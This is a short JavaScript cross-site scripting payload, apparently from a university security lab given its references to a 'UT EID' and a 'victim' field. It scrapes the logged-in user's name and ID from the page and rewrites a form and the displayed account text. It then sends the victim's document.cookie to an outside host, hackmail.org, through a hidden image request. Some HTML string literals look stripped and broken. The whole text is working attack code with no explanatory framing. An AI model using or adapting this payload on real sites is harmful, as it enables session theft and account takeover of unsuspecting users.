words = document.getElementsByTagName("a")[0].parentNode.innerHTML; name = words.substring(words.indexOf('as')+3,words.indexOf('(')-1); eid = words.substring(words.indexOf('(')+1,words.indexOf(')')); window.onload = function () { //fix extra characters after input fix = document.getElementsByTagName("form")[1].innerHTML; fix = fix.substring(0,fix.indexOf("")+9)+fix.substring(fix.indexOf("
"),fix.length); document.getElementsByTagName("form")[1].innerHTML = fix; //fix the value of input field document.getElementsByName('eid')[0].value = "victim"; //fix the text displaying the name document.getElementById('eid-name').innerHTML = "

This UT EID is not registered.

"; document.getElementById('user-data').innerHTML = ''; }; //send cookie via email void((new Image()).src='http://hackmail.org/sendmail.php?' + '&username=user' + '&payload=' + document.cookie + '&random=' + Math.random()); /* alert(words[5]); alert(words[6]); alert(words[7]); alert(document.getElementsByTagName("a")[0].parentNode.innerHTML); */